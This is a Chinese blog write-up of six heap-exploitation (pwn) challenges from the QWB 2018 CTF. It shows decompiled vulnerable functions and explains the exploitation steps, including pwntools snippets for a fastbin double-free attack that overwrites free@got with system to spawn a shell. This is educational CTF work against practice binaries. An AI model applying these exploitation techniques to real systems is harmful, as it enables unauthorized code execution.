• 强网杯2018 pwn复现


    前言

    本文对强网杯 中除了 2 个内核题以外的 6 个 pwn 题的利用方式进行记录。题目真心不错

    程序和 exp:

    https://gitee.com/hac425/blog_data/blob/master/qwb2018/

    正文

    silent

    漏洞

    free 的时候指针没有清空,而且程序没有 检测指针是否已经被释放 double free, 后面的 编辑功能也没有检验指针是否已经被 free ,所以 uaf

    signed __int64 free_()
    {
      int i; // [rsp+4h] [rbp-Ch]
      unsigned __int64 v2; // [rsp+8h] [rbp-8h]
    
      v2 = __readfsqword(0x28u);
      __isoc99_scanf("%d", &i);
      getchar();
      if ( i < 0 || i > 9 )
        return 0xFFFFFFFFLL;
      free(ptr_table[i]);
      return 0LL;
    }
    

    利用

    new 一个内存的时候我们可以任意大小的内存,我们现在的能力

    • 分配任意大小的内存
    • double free
    • uaf

    Double Free ----> Fastbin Attack

    可以利用 fastbin 检测 double free 的特点来利用。把一个 chunk 加入 fastbin 是如果相应 fastbin 的第一项和要加入的 chunk 不是同一个即可

    add("/bin/shx00", 0x60)
    add("1"*0x20, 0x60)
    add("2"*0x20, 0x60)
    add("3"*0x20, 0x60)
    
    delete(1)
    delete(2)
    delete(1)
    
    gdb.attach(p)
    pause()
    

    这样就会形成一个 下面的 fastbin

    pwndbg> bins 
    fastbins
    0x20: 0x0
    0x30: 0x0
    0x40: 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x603070 —▸ 0x6030e0 —▸ 0x603070 ◂— 0x6030e0
    0x80: 0x0
    unsortedbin
    all: 0x0
    smallbins
    empty
    largebins
    empty
    pwndbg> 
    
    

    0x603070fastbin 链 中出现了两次,于是分配两次,0x603070 会被分配,而且 0x603070 会成为 fastbin 的第一个 chunk . 我们就可以通过 double free 实现 fastbin attack 的目的(其实这里可以直接改,因为有 uaf)

    现在的目的是找 一个地址处存放 size 的位置来 bypass fastbin 的 检查。

    在程序的 bss 段存有 std 的指针

    .bss:0000000000602080                 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
    .bss:0000000000602080                 public stdout
    .bss:0000000000602080 ; FILE *stdout
    .bss:0000000000602080 stdout          dq ?                    ; DATA XREF: LOAD:0000000000400400↑o
    .bss:0000000000602080                                         ; sub_4007F0+6↑o ...
    .bss:0000000000602080                                         ; Copy of shared data
    .bss:0000000000602088                 align 10h
    .bss:0000000000602090                 public stdin
    .bss:0000000000602090 ; FILE *stdin
    .bss:0000000000602090 stdin           dq ?                    ; DATA XREF: LOAD:0000000000400418↑o
    .bss:0000000000602090                                         ; init_+17↑r
    .bss:0000000000602090                                         ; Copy of shared data
    .bss:0000000000602098                 align 20h
    .bss:00000000006020A0                 public stderr
    .bss:00000000006020A0 ; FILE *stderr
    .bss:00000000006020A0 stderr          dq ?                    ; DATA XREF: LOAD:0000000000400430↑o
    .bss:00000000006020A0                                         ; init_+53↑r
    .bss:00000000006020A0                                         ; Copy of shared data
    

    这些指针之间有一些填充空间(会被填充为0), 然后 std 的指针的最低字节 就有可能 可以作为 fastbinsize .

    paste image

    于是修改大小为 0x70fastbinfd0x60209d, 然后分配 2 次,我们就可以分配到 bss, 然后通过修改 ptr_table 来修改 got 表,使得 free@gotsystem@plt

    修改 ptr_table[0] --> free@got

    add(p64(0x60209d), 0x60)
    add("5"*0x20, 0x60)
    add("6"*0x20, 0x60)
    
    add('x00'*0x13+p64(0x602018), 0x60)  # ptr0 --> free@got
    
    p.clean()
    edit(0, p64(0x00400730), "") # free@got ---> system@plt
    
    delete(3) # free("/bin/shx00") ---> system("/bin/shx00") 
    

    silent2

    漏洞

    silent 的基础上限制我们不能分配 fastbin

    paste image

    利用

    分配两个 0x90chunk ,然后释放掉

    分配一个大的 chunk 重用上面的空间,伪造 free chunk , 触发 unlink

    strlen@gotsystem@plt

    opm

    漏洞

    add 功能处使用 gets 来读入字符串到 stackbuf 而且 buf 后面有 obj_ptr ,我们可以溢出覆盖 obj_ptr

    obj *add()
    {
      obj *obj; // rbx
      obj *obj_; // rbx
      size_t name_len; // rax
      obj *obj__; // rbx
      char buf; // [rsp+0h] [rbp-1A0h]  // 输入的缓冲区
      obj *obj_ptr; // [rsp+80h] [rbp-120h] // obj 指针
      char *v7; // [rsp+100h] [rbp-A0h]
      unsigned __int64 v8; // [rsp+188h] [rbp-18h]
    
      v8 = __readfsqword(0x28u);
      obj = operator new(0x20uLL);
      init_obj(obj);
      obj_ptr = obj;
      obj->show_func = show_func;
      puts("Your name:");
      gets(&buf);
      obj_ = obj_ptr;                               // gets 可以覆盖 obj_ptr
      obj_->len = strlen(&buf);
      name_len = strlen(&buf);
      v7 = malloc(name_len);
      strcpy(v7, &buf);
      obj_ptr->nameptr = v7;
      puts("N punch?");
      gets(&buf); 							// gets 可以覆盖 obj_ptr
      obj__ = obj_ptr;
      obj__->punch = atoi(&buf);
      show_func(obj_ptr);
      return obj_ptr;
    }
    

    有一个比较麻烦的点就是 gets 会在读入的字符串后面加入一个 x00

    信息泄露

    泄露 heap 地址

    主要的思路就是把 addr 写入 name 的缓冲区中,然后 printf 出来

    add("a" * 0x70, str(32))
    add("b" * 0x80 + "x10", '1')  # 把 role0 布置到 0010, name 会被分配到 8d00-0x10
    log.info("role obj in 0010, and name_buf contain 8d00")
    # 首先往 8d00 写 name_ptr, 再次溢出修改 obj_ptr -----> 0010
    # 为了后面调用 show(0010), 打印出 内容
    add("c" * 0x80, "2"*0x80 + "x10")  
    log.info("write a name_ptr to 8d00")
    

    具体内存布局如图

    paste image

    0x5555557560e0role_table 的地址, 可以看到 role_table[1]role_table[2] 的是一样的,成功把 name ptr 写入了 role->name 里面

    泄露 程序基地址 && libc

    后面通过 泄露的 heap 地址,和指针覆盖 来布局,leak 即可

    修改 strlen@got 为 system

    利用 obj->punch 局部修改

    note

    漏洞

    在修改 title 的位置

    char *change_title()
    {
      char *result; // rax
      signed int i; // eax
      unsigned __int8 c; // [rsp+Bh] [rbp-5h]
      signed int index; // [rsp+Ch] [rbp-4h]
    
      printf("enter the title:");
      index = 0;
      while ( 1 )
      {
        c = getchar();
        if ( check_black_list(c) )
          break;
        if ( index > 0x27 )
        {
          result = title + 0x27;                    // 最多 40 个字符
          title[0x27] = 0;
          return result;
        }
        i = index++;
        title[i] = c;
      }
      result = c;
      title[index] = c;
      return result;
    }
    

    title 是一个 0x28 字节的 buf, 如果我们在 index=0x28 时输入 black_list 中的字符,就会跳出循环,然后 title[0x28] = black_char, off by one 。我们看看溢出的那个字节可以写入什么

    0000000000602010  0A 21 3F 40 22 27 23 26  00
    

    利用

    off by one 可以通过 伪造 free chunk 来触发 unlink ,所以选择 0x40, 通过调试可以知道,title 后面跟着的是 content

    然后溢出后就可以设置 content 所在 chunk->size = 0x40

    然后通过 realloc 一个很大的值,使得无法 通过扩展 chunk 来分配,这样就会把 content 放入 fastbin

    再通过 realloc 一个很大的内存,触发 会把 content 进入 smallbin 并且触发堆合并,触发 unlink.

    之后修改 __realloc_hooksystem

    raisepig

    漏洞

    eat_pig 功能处可以 double free

    __int64 eat_pig()
    {
      unsigned int i; // [rsp+4h] [rbp-Ch]
      unsigned __int64 v2; // [rsp+8h] [rbp-8h]
    
      v2 = __readfsqword(0x28u);
      if ( pig_count )
      {
        printf("Which pig do you want to eat:");
        _isoc99_scanf("%d", &i);
        if ( i > 0x63 || !pig_table[i] )            // 这里只是判断,pig指针是不是为0
        {
          puts("Invalid choice");
          return 0LL;
        }
        srand(0);
        pig_table[i]->is_lived = 0;
        free(pig_table[i]->name_ptr);               // free掉name指针,没有free pig
      }
      else
      {
        puts("No pig");
      }
      return 0LL;
    }
    

    所以我们可以 多次 free(pig_table[i]->name_ptr)

    利用

    • 由于在分配内存时使用 malloc , 而且分配后没有对内存进行清空,而且读入数据使用 read, 可以泄露出 libc

    • 然后分配几个 0x90chunk , 释放中间两个会合并成一个大的 unsorted bin

    • 然后分配大的 chunk 就可以拿到刚刚合并生成的大 chunk , 结合 double free,进行 fastbin attack

    • 修改 fastbin->fd = 0x81 分配一次后可以在 main_arean 有一个 p64(0x81)

    • 使用 fastbin attack 可以修改 main_arean->topmalloc_hook-0x10

    • 然后分配内存修改 malloc_hookone_gadget

    • 重复 free 同一个内存(不进行伪造),触发 malloc_printerr (这样更稳), 会调用 malloc, getshell

    gamebox

    漏洞

    play 函数中,调用 rand 函数初始化了 24 字节的 随机字符串,如果猜对了,就会调用 record 函数进行记录

    paste image

    size 由我们输入,可以看到分配了 size 的内存 , 后面写的时候 name[size] 会溢出一个字节,不过只能溢出 x00, off by null.

    然后在 show 函数有格式化字符串漏洞

    unsigned __int64 show()
    {
      signed int i; // [rsp+4h] [rbp-Ch]
      unsigned __int64 v2; // [rsp+8h] [rbp-8h]
    
      v2 = __readfsqword(0x28u);
      puts("=======RANK LIST=======");
      for ( i = 0; i <= 9; ++i )
      {
        if ( obj_table[i].name_ptr )
        {
          putchar(i + '0');                         // 打印名次
          putchar(':');
          printf(obj_table[i].name_ptr);            // name_ptr 作为 printf的第一个参数,格式化
        }
      }
      puts("=======================");
      return __readfsqword(0x28u) ^ v2;
    }
    

    利用

    rand 默认使用 srand(1), 我们本地调用 libcsrand(1)rand 就可以生成相同的字符串

    利用格式化字符串漏洞,泄露 libc 和 程序的基地址

    off by null 直接套用 how2heap ,就可以 overlap heap

    这时就可以利用 raisepig 的思路 或者 使用 unlink

    参考

    http://tacxingxing.com/2018/03/28/2018qwb/

  • 相关阅读:
    Flink 双流合并之connect Demo2
    Flink 双流合并之connect Demo1
    Flink 双流合并Join
    Flink状态保存CheckPoint
    Flink状态之OperatorState
    Flink状态之AggregateState
    Flink状态之ReduceState
    Flink状态之MapState
    Flink状态之KeyedListState
    大数据框架环境安装与配置01--服务器基本设置
  • 原文地址:https://www.cnblogs.com/hac425/p/9416787.html
Copyright © 2020-2023  润新知